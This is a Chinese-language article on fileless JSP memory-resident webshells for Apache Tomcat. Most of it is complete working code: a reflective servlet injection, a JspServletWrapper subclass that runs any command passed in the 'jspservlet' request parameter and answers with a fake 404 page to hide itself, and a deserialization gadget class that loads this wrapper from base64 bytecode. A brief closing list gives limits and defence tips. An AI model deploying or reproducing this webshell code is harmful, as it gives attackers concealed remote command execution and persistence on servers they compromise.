浅析JSP型内存马
字数 910 2025-08-29 08:31:47
JSP型内存马技术分析与实现
前言
JSP型内存马是一种通过内存驻留技术实现的无文件WebShell,主要针对Tomcat容器的JSP处理机制进行攻击。本文详细分析两种实现JSP型内存马的技术思路,并提供完整的实现代码。
技术原理
两种实现思路
- 反射关闭development属性:将Tomcat从开发模式转为生产模式
- 修改Options对象的modificationTestInterval属性:改变Tomcat检查JSP更新的时间间隔
这两种方法都是针对开发模式的修改,生产环境中JSP检查是通过checkInterval属性实现的。
传统JSP处理流程的问题
传统JSP处理流程中,JspServlet#serviceJspFile方法会检查JSP文件是否存在并装载wrapper,JspServletWrapper类会因mustCompile初始值为true而对JSP进行编译,导致文件落地。
Servlet型内存马实现
基本实现代码
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request)reqF.get(request);
StandardContext context = (StandardContext)req.getContext();
Servlet servlet = new ServletTest(); // 继承Servlet类的子类
String name = servlet.getClass().getSimpleName();
org.apache.catalina.Wrapper newWrapper = context.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper);
context.addServletMappingDecoded("/cmd", name);
%>
JSP型内存马实现
核心思路
通过控制JspRuntimeContext中的内容,使用addWrapper(String jspUri, JspServletWrapper jsw)方法绑定映射规则,避免文件落地。
完整实现代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class MemJspServletWrapper extends JspServletWrapper {
public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
super(config, options, "", rctxt); // jspUri随便取值
}
@Override
public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
String cmd = request.getParameter("jspservlet");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} else {
// 伪造404页面
String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
response.sendError(404, msg);
}
}
}
%>
<%
//从request对象中获取request属性
Field _request = request.getClass().getDeclaredField("request");
_request.setAccessible(true);
Request __request = (Request)_request.get(request);
//获取MappingData
MappingData mappingData = __request.getMappingData();
//获取Wrapper
Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
_wrapper.setAccessible(true);
Wrapper __wrapper = (Wrapper)_wrapper.get(mappingData);
//获取jspServlet对象
Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
_jspServlet.setAccessible(true);
Servlet __jspServlet = (Servlet)_jspServlet.get(__wrapper);
// 获取ServletConfig对象
Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
_servletConfig.setAccessible(true);
ServletConfig __servletConfig = (ServletConfig)_servletConfig.get(__jspServlet);
//获取options中保存的对象
Field _option = __jspServlet.getClass().getDeclaredField("options");
_option.setAccessible(true);
EmbeddedServletOptions __option = (EmbeddedServletOptions)_option.get(__jspServlet);
// 获取JspRuntimeContext对象
Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
_jspRuntimeContext.setAccessible(true);
JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext)_jspRuntimeContext.get(__jspServlet);
JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);
__jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>
反序列化注入内存马
实现代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;
public class InjectToJspServlet extends AbstractTranslet {
private static final String jsppath = "/tyskill.jsp";
public InjectToJspServlet() {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardroot.getContext();
//从StandardContext 基类 ContainerBase 中获取 children 属性
HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext, "children");
//获取 Wrapper
Wrapper _wrapper = (Wrapper) _children.get("jsp");
//获取jspServlet对象
Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");
// 获取ServletConfig对象
ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");
//获取options中保存的对象
EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");
// 获取JspRuntimeContext对象
JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");
String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);
JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class, JspRuntimeContext.class)
.newInstance(_servletConfig, _option, _jspRuntimeContext);
_jspRuntimeContext.addWrapper(jsppath, memjsp);
} catch (Exception ignored) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
private static Object getFieldValue(Object obj, String fieldName) throws Exception {
java.lang.reflect.Field declaredField;
java.lang.Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception ignored){}
clazz = clazz.getSuperclass();
}
return null;
}
}
技术总结
技术不足
- 由于JSP的servlet处理类通常是
JspServletWrapper类,自定义实现容易被检测 - 在MVC架构背景下应用场景有限
版本差异
- Tomcat7:
<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %> - Tomcat8/9:
<%@ page import="org.apache.catalina.mapper.MappingData" %>
防御建议
- 监控
JspRuntimeContext的修改操作 - 检查自定义
JspServletWrapper类的存在 - 生产环境关闭development模式
- 限制反序列化操作